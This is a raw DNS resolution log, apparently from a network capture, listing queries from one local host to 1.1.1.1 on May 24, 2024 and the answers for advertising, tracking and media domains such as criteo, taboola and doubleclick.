May 24, 2024 00:34:59.021334887 CEST	1.1.1.1	192.168.2.6	0xd30d	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.046277046 CEST	1.1.1.1	192.168.2.6	0x5f3	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.048026085 CEST	1.1.1.1	192.168.2.6	0x4a9b	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.124699116 CEST	1.1.1.1	192.168.2.6	0x2d9d	No error (0)	match.deepintent.com	m.deepintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.124699116 CEST	1.1.1.1	192.168.2.6	0x2d9d	No error (0)	m.deepintent.com		169.197.150.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.124699116 CEST	1.1.1.1	192.168.2.6	0x2d9d	No error (0)	m.deepintent.com		169.197.150.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.124699116 CEST	1.1.1.1	192.168.2.6	0x2d9d	No error (0)	m.deepintent.com		38.91.45.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.124699116 CEST	1.1.1.1	192.168.2.6	0x2d9d	No error (0)	m.deepintent.com		8.18.47.7	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.130587101 CEST	1.1.1.1	192.168.2.6	0xe30a	No error (0)	metrics.brightcove.com		35.244.232.184	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.215214014 CEST	1.1.1.1	192.168.2.6	0xc1a4	No error (0)	help.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.297985077 CEST	1.1.1.1	192.168.2.6	0x26ed	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.297985077 CEST	1.1.1.1	192.168.2.6	0x26ed	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.297985077 CEST	1.1.1.1	192.168.2.6	0x26ed	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.297985077 CEST	1.1.1.1	192.168.2.6	0x26ed	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.417557001 CEST	1.1.1.1	192.168.2.6	0x49f	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.417557001 CEST	1.1.1.1	192.168.2.6	0x49f	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.417557001 CEST	1.1.1.1	192.168.2.6	0x49f	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.417557001 CEST	1.1.1.1	192.168.2.6	0x49f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.417557001 CEST	1.1.1.1	192.168.2.6	0x49f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.417577982 CEST	1.1.1.1	192.168.2.6	0xd2b7	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.417577982 CEST	1.1.1.1	192.168.2.6	0xd2b7	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.417577982 CEST	1.1.1.1	192.168.2.6	0xd2b7	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.447613955 CEST	1.1.1.1	192.168.2.6	0xdcbe	No error (0)	static.criteo.net	static.nl3.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.447613955 CEST	1.1.1.1	192.168.2.6	0xdcbe	No error (0)	static.nl3.vip.prod.criteo.net		178.250.1.3	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.447648048 CEST	1.1.1.1	192.168.2.6	0x62d8	No error (0)	static.criteo.net	static.nl3.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.494026899 CEST	1.1.1.1	192.168.2.6	0x2eab	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.494026899 CEST	1.1.1.1	192.168.2.6	0x2eab	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.494060993 CEST	1.1.1.1	192.168.2.6	0x1703	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.494060993 CEST	1.1.1.1	192.168.2.6	0x1703	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505937099 CEST	1.1.1.1	192.168.2.6	0xdf19	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505937099 CEST	1.1.1.1	192.168.2.6	0xdf19	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505937099 CEST	1.1.1.1	192.168.2.6	0xdf19	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505949020 CEST	1.1.1.1	192.168.2.6	0x7802	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505949020 CEST	1.1.1.1	192.168.2.6	0x7802	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.505949020 CEST	1.1.1.1	192.168.2.6	0x7802	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.586024046 CEST	1.1.1.1	192.168.2.6	0x4fad	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.586040020 CEST	1.1.1.1	192.168.2.6	0x74b1	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.617110968 CEST	1.1.1.1	192.168.2.6	0xfba1	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.617110968 CEST	1.1.1.1	192.168.2.6	0xfba1	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.617110968 CEST	1.1.1.1	192.168.2.6	0xfba1	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.617110968 CEST	1.1.1.1	192.168.2.6	0xfba1	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.617110968 CEST	1.1.1.1	192.168.2.6	0xfba1	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.618607044 CEST	1.1.1.1	192.168.2.6	0xad41	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.654315948 CEST	1.1.1.1	192.168.2.6	0x41e9	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.654331923 CEST	1.1.1.1	192.168.2.6	0x914a	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.654331923 CEST	1.1.1.1	192.168.2.6	0x914a	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.688129902 CEST	1.1.1.1	192.168.2.6	0xfa4d	No error (0)	help.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.688129902 CEST	1.1.1.1	192.168.2.6	0xfa4d	No error (0)	edge.gycpi.b.yahoodns.net		69.147.82.60	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.688129902 CEST	1.1.1.1	192.168.2.6	0xfa4d	No error (0)	edge.gycpi.b.yahoodns.net		69.147.82.61	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.792079926 CEST	1.1.1.1	192.168.2.6	0xb685	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.792079926 CEST	1.1.1.1	192.168.2.6	0xb685	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.792079926 CEST	1.1.1.1	192.168.2.6	0xb685	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.793782949 CEST	1.1.1.1	192.168.2.6	0x23bf	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.793795109 CEST	1.1.1.1	192.168.2.6	0xe607	No error (0)	manifest.prod.boltdns.net	dualstack.brightcove.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.793795109 CEST	1.1.1.1	192.168.2.6	0xe607	No error (0)	dualstack.brightcove.map.fastly.net		151.101.2.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.793795109 CEST	1.1.1.1	192.168.2.6	0xe607	No error (0)	dualstack.brightcove.map.fastly.net		151.101.66.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.793795109 CEST	1.1.1.1	192.168.2.6	0xe607	No error (0)	dualstack.brightcove.map.fastly.net		151.101.130.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.793795109 CEST	1.1.1.1	192.168.2.6	0xe607	No error (0)	dualstack.brightcove.map.fastly.net		151.101.194.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.793803930 CEST	1.1.1.1	192.168.2.6	0xf87d	No error (0)	ssbsync.smartadserver.com	ssbsync-geo.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.793803930 CEST	1.1.1.1	192.168.2.6	0xf87d	No error (0)	ssbsync-geo.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.918796062 CEST	1.1.1.1	192.168.2.6	0xa13	No error (0)	aax-eu.amazon-adsystem.com		54.239.33.158	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		52.17.55.191	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		52.48.217.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		54.220.158.112	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		54.77.98.227	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		63.33.74.9	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		52.17.40.72	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		34.250.113.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.918811083 CEST	1.1.1.1	192.168.2.6	0xee69	No error (0)	sync.crwdcntrl.net		18.202.122.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920303106 CEST	1.1.1.1	192.168.2.6	0xeb30	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920311928 CEST	1.1.1.1	192.168.2.6	0x211d	No error (0)	um.simpli.fi		35.204.158.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920311928 CEST	1.1.1.1	192.168.2.6	0x211d	No error (0)	um.simpli.fi		34.91.62.186	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920311928 CEST	1.1.1.1	192.168.2.6	0x211d	No error (0)	um.simpli.fi		35.204.74.118	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920339108 CEST	1.1.1.1	192.168.2.6	0xf338	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
May 24, 2024 00:34:59.920342922 CEST	1.1.1.1	192.168.2.6	0x5d42	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920342922 CEST	1.1.1.1	192.168.2.6	0x5d42	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.920342922 CEST	1.1.1.1	192.168.2.6	0x5d42	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:59.923335075 CEST	1.1.1.1	192.168.2.6	0x3326	No error (0)	cr.frontend.weborama.fr		34.111.129.221	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:00.310358047 CEST	1.1.1.1	192.168.2.6	0x51a4	No error (0)	securepubads.g.doubleclick.net		142.250.184.226	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:00.310372114 CEST	1.1.1.1	192.168.2.6	0x2441	No error (0)	securepubads.g.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:35:00.310380936 CEST	1.1.1.1	192.168.2.6	0x8a60	No error (0)	tb.pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:00.323416948 CEST	1.1.1.1	192.168.2.6	0xbdbf	No error (0)	tb.pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:00.323416948 CEST	1.1.1.1	192.168.2.6	0xbdbf	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:00.323416948 CEST	1.1.1.1	192.168.2.6	0xbdbf	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.663393974 CEST	1.1.1.1	192.168.2.6	0xfddc	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.663407087 CEST	1.1.1.1	192.168.2.6	0x8ffa	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.663407087 CEST	1.1.1.1	192.168.2.6	0x8ffa	No error (0)	simage2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668745041 CEST	1.1.1.1	192.168.2.6	0xa889	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668745041 CEST	1.1.1.1	192.168.2.6	0xa889	No error (0)	simage2v2.pubmnet.com	pug-ams-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668745041 CEST	1.1.1.1	192.168.2.6	0xa889	No error (0)	pug-ams-bc.pubmnet.com		198.47.127.205	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.668756008 CEST	1.1.1.1	192.168.2.6	0xd819	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668756008 CEST	1.1.1.1	192.168.2.6	0xd819	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668756008 CEST	1.1.1.1	192.168.2.6	0xd819	No error (0)	pug-lhr-bc.pubmnet.com		185.64.191.210	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.668765068 CEST	1.1.1.1	192.168.2.6	0xda06	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.668765068 CEST	1.1.1.1	192.168.2.6	0xda06	No error (0)	image2v2.pubmnet.com	pug-lhr-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.683351994 CEST	1.1.1.1	192.168.2.6	0xecc9	No error (0)	s.amazon-adsystem.com		52.46.155.104	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.866864920 CEST	1.1.1.1	192.168.2.6	0x400e	No error (0)	s0.2mdn.net		142.250.186.38	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.979192972 CEST	1.1.1.1	192.168.2.6	0xc62f	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:01.979192972 CEST	1.1.1.1	192.168.2.6	0xc62f	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:01.980212927 CEST	1.1.1.1	192.168.2.6	0xec92	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.282900095 CEST	1.1.1.1	192.168.2.6	0xa2a2	No error (0)	yahoo-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.282919884 CEST	1.1.1.1	192.168.2.6	0x3a97	No error (0)	yahoo-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.307156086 CEST	1.1.1.1	192.168.2.6	0x5f2c	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.307156086 CEST	1.1.1.1	192.168.2.6	0x5f2c	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.307156086 CEST	1.1.1.1	192.168.2.6	0x5f2c	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.307156086 CEST	1.1.1.1	192.168.2.6	0x5f2c	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.307156086 CEST	1.1.1.1	192.168.2.6	0x5f2c	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.310265064 CEST	1.1.1.1	192.168.2.6	0xac2a	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.310265064 CEST	1.1.1.1	192.168.2.6	0xac2a	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.310265064 CEST	1.1.1.1	192.168.2.6	0xac2a	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951155901 CEST	1.1.1.1	192.168.2.6	0x7ef8	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951170921 CEST	1.1.1.1	192.168.2.6	0x465a	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951180935 CEST	1.1.1.1	192.168.2.6	0xfa24	No error (0)	pixel-eu.rubiconproject.com	pixel-eu.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951191902 CEST	1.1.1.1	192.168.2.6	0x8762	No error (0)	usersync.gumgum.com		34.247.233.198	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951191902 CEST	1.1.1.1	192.168.2.6	0x8762	No error (0)	usersync.gumgum.com		52.210.15.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951191902 CEST	1.1.1.1	192.168.2.6	0x8762	No error (0)	usersync.gumgum.com		34.247.205.196	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951211929 CEST	1.1.1.1	192.168.2.6	0x995e	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951220989 CEST	1.1.1.1	192.168.2.6	0xd36b	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951240063 CEST	1.1.1.1	192.168.2.6	0xb988	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.951240063 CEST	1.1.1.1	192.168.2.6	0xb988	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951240063 CEST	1.1.1.1	192.168.2.6	0xb988	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951240063 CEST	1.1.1.1	192.168.2.6	0xb988	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.951240063 CEST	1.1.1.1	192.168.2.6	0xb988	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.170.64	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.171.215	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.171.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		146.59.148.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.171.216	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		15.235.15.221	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.171.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		51.222.80.231	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.171.213	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954026937 CEST	1.1.1.1	192.168.2.6	0x5782	No error (0)	pixel.onaudience.com		141.94.170.77	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954039097 CEST	1.1.1.1	192.168.2.6	0xef76	No error (0)	dsp.adfarm1.adition.com		85.114.159.118	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954039097 CEST	1.1.1.1	192.168.2.6	0xef76	No error (0)	dsp.adfarm1.adition.com		85.114.159.93	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:02.954058886 CEST	1.1.1.1	192.168.2.6	0x55f4	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:02.954058886 CEST	1.1.1.1	192.168.2.6	0x55f4	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false
